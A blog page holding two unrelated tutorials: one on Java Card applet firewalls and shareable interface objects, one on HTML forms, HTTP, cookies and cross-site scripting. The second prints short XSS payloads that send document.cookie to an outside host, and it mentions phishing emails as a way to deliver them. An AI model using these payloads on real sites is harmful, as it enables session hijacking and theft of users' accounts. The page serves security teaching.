LaMeH@CkeR

The Java Card application firewall allows certain forms of object access across different group contexts. It is a fact that JCApplets always need access to services provided by the JCRE. These services are provided by JCRE Entry Point Objects (EPO). These objects belong to the JCRE system context but can be accessed by any other Service Object when needed. There are permanent entry point objects (PEPO), temporary entry point objects (TEPO), and global arrays. Global arrays share many properties of TEPO. A JCApplet can invoke methods on entry point objects, but not access their fields.

Global Arrays

The global nature of some objects requires that they be accessible from any context [1]. The Java Card VM allows an object to be designated as global. All global arrays are TEPO. These objects are owned by the system context and can be accessed from any context, meaning from any SO. No reference to these objects can be stored as a class variables, instance variables or array components [1]. The JCRE can detect and will restrict attempts to store references to SO as part of the firewall security requirement to always prevent unauthorized object re-use. For security reasons, only arrays can be designated as global and only the JCRE itself is capable for designating global arrays. JCRE implementers are responsible for implementing the mechanism of global arrays [1].

Object sharing

The Java Card specification introduces mechanisms that allow object sharing between JCApplets. The object sharing mechanism (OSM) allows the Java Card programmer to build OSMs that provide means for accessing object methods rather than just data. OSM is not a file sharing mechanism.

The JCApplet firewall, defined in Java Card 2.1 specification for first time, completely prevents a non global JCApplet from accessing the data corresponding to other JCApplets. But a provision was made for a JCApplet to be capable of invoking interface methods belonging to different packages. This is the basis of OSMs.

In the Java programming language invoking an interface method belonging to different package, if the specific method is public, is not illegal. However in Java Card because the PEPO and TEPO already are public, object sharing must be restricted, so as no normal JCApplet can execute malicious methods.

Shareable Interface Object (SIO)

Sharable Interfaces enable JCApplets to explicitly share objects by defining sets of shared interfaces. These sharable objects are called Sharable Interface Objects (SIO). The JCApplets implementing these interfaces are usually called Server JCApplets and the JCApplets using these services are usually called Client JCApplets. Note that some Server JCApplets might also be Server JCApplets to some other Client JCApplets.

Creating a Shareable Interface Object

Creating a new SIO happens when a Server JCApplet defines a Sharable Interface ServerInterface X which extends the javacard.framework.Sharable package. The Server JCApplet then has to define a ServerApplet class A to implement the sharable interface X and create an instance of the ServerApplet class O; the ServerApplet instance now is called SIO and is registered with the JCRE.

Obtaining a Shareable Interface Object

In order now for a Client JCApplet B to access the ServerApplet instance O has to create an object reference called BO of type X, and then call the system method getSharableInterfaceObject with the AID of the server and an optional byte which selects which interface is desired (it refers to the Server JCApplets that implement more than one interface). The JCRE looks up the AID associated with the relevant Server JCApplet and forwards the request to that Server JCApplet, replacing the first argument with the client AID. The Server JCApplet A receives the request and the AID of the clie nt requesting the ServerInterface and decides whether is going to return the SIO or not. If A finds the request agreeable then a reference to O is returned, otherwise the null value is returned.Using a Shareable Interface Object

Once a SIO is obtained, JCApplet B can successfully invoke any methods from interface X on object reference BO, which then can access object O. Only part of JCApplet A is visible to JCApplet B through the firewall. When JCApplet B invokes the method on BO automatically a context switch is triggered in JCRE.

The JCRE, the Client JCApplet and the Server JCApplet, as already mentioned, reside in different contexts. In order for the SIO mechanism to work properly several context switches must occur during the object sharing process. Notice in figure 30 that the JCRE passes the client AID through the getAppletSharableInterfaceObject(AID clientAID, byte parameter) method, which is a method that belongs to JCSystem class, to the Server JCApplet and the server AID through the getSharableInterfaceObject(serverAID, byte parameter) method to the Client JCApplet.

SIO issues

The JCRE protection mechanism does not prevent malicious interface casting. Once granted an interface can be used to access all interfaces within the Server JCApplet by simply a casting the obtained interface into the desired type.

References:

[1]Zhiqun Chen, Java Card ^TM Technology for Smart Cards, June 2000, Sun Microsystems Inc.

Introduction

This article is as good as a training course many companies charge a few thousands pounds for a few hours, I am not saying that I am the best hacker of the world but I have a descent level of knowledge. In order to follow this article you have to know:

1. How to write Html web forms (look at http://www.w3schools.com/html/html_forms.asp).
2. How to write Javascript DOM objects (look at http://www.w3schools.com/HTMLDOM/default.asp).
3. What a cookie is, and what represents (look at [2]).
4. Basic functionality of Http protocol (look at [1]).

Small technical introduction

An Html form helps you to sent or better POST or GET data to the server, now do not get confused, when I am saying the server I don’t mean the original server I literally mean any server the form wishes to sent the data can and will sent the data (e.g. you might have a farm of servers). A useless and simplistic Html form looks something like that:

Code example1: Html form

The form above does not do anything interesting with the data (to be more accurate it does not do anything at all).A more useful Html web form would look something like that:

Code example2: Html more complicated form

Now we can clearly see, that in the example above, the data are going to be sent to a dynamical web page written in ASP (e.g. that is found into the original web server), keep that in mind . Some one would say what the hell is going on why are you telling me this things, be patient man……. When someone performs a GET (we are going to talk later about POST request) request your browser issues a Http request that looks like that:

GET /path/html_form_data_handle.asp?firstname=value1&lastname=value2 HTTP/1.0

Http Sample Header1 [3]:GET request

Using the GET request to sent data

Where value1 and value2 the values the user entered. What we are doing actually using the GET request to submit data. The point I am trying to make is that you can use GET to send small amounts of data to the server, any server. The key is to understand just what the request URI is, it’s not necessarily a file name, it’s a string that identifies a data resource on the server. That may be a file name, but it may also be, for example, a specific query to a specific database. The result of that query may not live in a file, but it’s a data resource all the same, identified by the search engine and the query data that together produce it [3].

Using the POST request to sent data

The POST method is used to request that the origin server or any other server accept the entity enclosed in the request as a new subordinate of the resource identified by the Request-URI in the Request-Line. POST is designed to allow a uniform method to cover the following functions:

The actual function performed by the POST method is determined by the server and is usually dependent on the Request-URI. The posted entity is subordinate to that URI in the same way that a file is subordinate to a directory containing it, a news article is subordinate to a newsgroup to which it is posted, or a record is subordinate to a database.

The action performed by the POST method might not result in a resource that can be identified by a URI. In this case, either 200 (OK) or 204 (No Content) is the appropriate response status, depending on whether or not the response includes an entity that describes the result.

The cookie thing….

The Http protocol is stateless which means that it does not have any integrated mechanism to associate web application variables with logged in users.That is why most times a cookie is used as a security tokenSo when a user logins the origin server initiates a session, if it so desires. (Note that “session” here does not refer to a persistent network connection but to a logical session created from HTTP requests and responses). The presence or absence of a persistent connection should have no effect on the use of cookie-derived sessions. To initiate a session, the origin server returns an extra response header to the client, Set-Cookie [2].

A user agent (meaning an Internet browser) returns a Cookie request header to the origin server if it chooses to continue a session. The origin server may ignore it or use it to determine the current state of the session. It may send back to the client a Set-Cookie response header with the same or different information, or it may send no Set-Cookie header at all. The origin server effectively ends a session by sending the client a Set-Cookie header with Max-Age=0 [2].

Servers may return a Set-Cookie response headers with any response. User agents should send Cookie request headers, subject to other rules detailed below, with every request. An origin server may include multiple Set-Cookie headers in a response. Note that an intervening gateway could fold multiple such headers into a single header[2].

Informally, the Set-Cookie response header comprises the token Set-Cookie:, followed by a comma-separated list of one or more cookies. This means that a web application can actually issue multi sessions for only one user. Each cookie begins with a NAME=VALUE pair, followed by zero or more semi-colon-separated attribute-value pairs[2].

Diagram 1[4]: Simple Http request

The login page thing…..

So if we assume that the client needs only his first and last name to login (that would be funny), and the web application is using the above Html form to login to the web application then a successful Http header login would look something like that:

HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sat, 26 April 2008 22:25:51 GMT
Set-Cookie: p_uniqid=3UcKfe5j2EQOz1nvoB; expires=Fri, 21-Dec-2012 08:00:00 GMT; domain=.hotbot.com; path=/
Connection: Keep-Alive
Content-Type: text/html
Set-Cookie: HB%5FSESSION=RH=4d7b557f6700175e0e644f3a7f2e685e43540d04; path=/
Set-Cookie: ASPSESSIONIDQQGQQRTM=ODODHAHCNPBNIELPCECBGLBA; path=/
Cache-control: private
Content-Length: 3173

Body…………..

What malicious JavaScript?

Now taking into consideration all the facts mentioned above we can easily realize that using the JavaScript DOM object document combined with the attribute cookie someone could steal the security token (meaning the cookie issued from the server to validate the user authentication). You can actually use the code example below to see your own cookie!!!

window.open(document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie)

Code example3: The cookie is sent to a cgi program called cookie.cgi in the cgisecurity.com server

If someone could inject and execute this code sample inside your browser after you login (I repeat, AFTER YOU LOGIN) he or she can steal your credentials (meaning your cookie). Now why is this happening? Easy because your browser runs with your security context containing your user credentials. In order for the the attacker to be successful has to obtain your cookie while it is still valid (meaning not expired) in order to login. That also means that if the stolen cookie expires is useless. This attack is referred as cookie disclosure attack or credential disclosure attack.

Lets talk again about why is this happening, some of the web sites you visit allow you to maintain your user session using only login cookies or cookie, that the server issues (after you provide your credentials). JavaScript can make your web browser to issue a get request containing your cookie to any server the attacker chooses. That is not true, an attacker can exploit the rich functionality JavaScript provides and make your browser issue a GET or POST Http request with your help (at least most of the time) to any server he or she wishes if the web application is vulnerable to JavaScript code injection. You should know that JavaScript code injection attacks are not traceable at all.

A more realistic JavaScript code example would look something like that:

Code example4: Realistic Html web form, printing out user input.

The above code takes a user input and render what ever the user has inserted before the data are actually submitted. By using the term render we mean that the JavaScript DOM object is treating the user input as Html or JavaScript code and executes it.The code is extremely insecure and should never be used for anything or any reason. Someone could easily exploit the above code by injecting JavaScript directly to the input. What an attacker could do to verify that code can be executed is just to fill the form with a script like that:

alert(document.cookie);Code example5: Realistic Html web form, exploited by user input (you should include the script tags).

Important notice: The code above does not use the Http GET request of the web form.

A more interesting and realistic attack could be performed like that:

document.location=”http://www.target.com/cgi?+document.cookie

Code example6: Realistic Html web form, exploited by user input (you should include the script tags).

How do you inject JavaScript into a site?

There many ways to do inject code, the most popular code injections are:

As far as web servers and platforms compromises there is not much to talk about since patching is the most obvious thing to do. But as far as the application is concerned you can do lots of stuff to do to avoid,this sort of problems.The image below show the easiest way to fool someone to click in a malicious JavaScript redirection using social engineering, e.g. sent a fake email claiming that you are someones web bank.

Reference [1]: www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

Reference [2]:www.ietf.org/rfc/rfc2109.txt

Reference [3]:www.jmarshall.com/easy/http/http_footnotes.html#urlencoding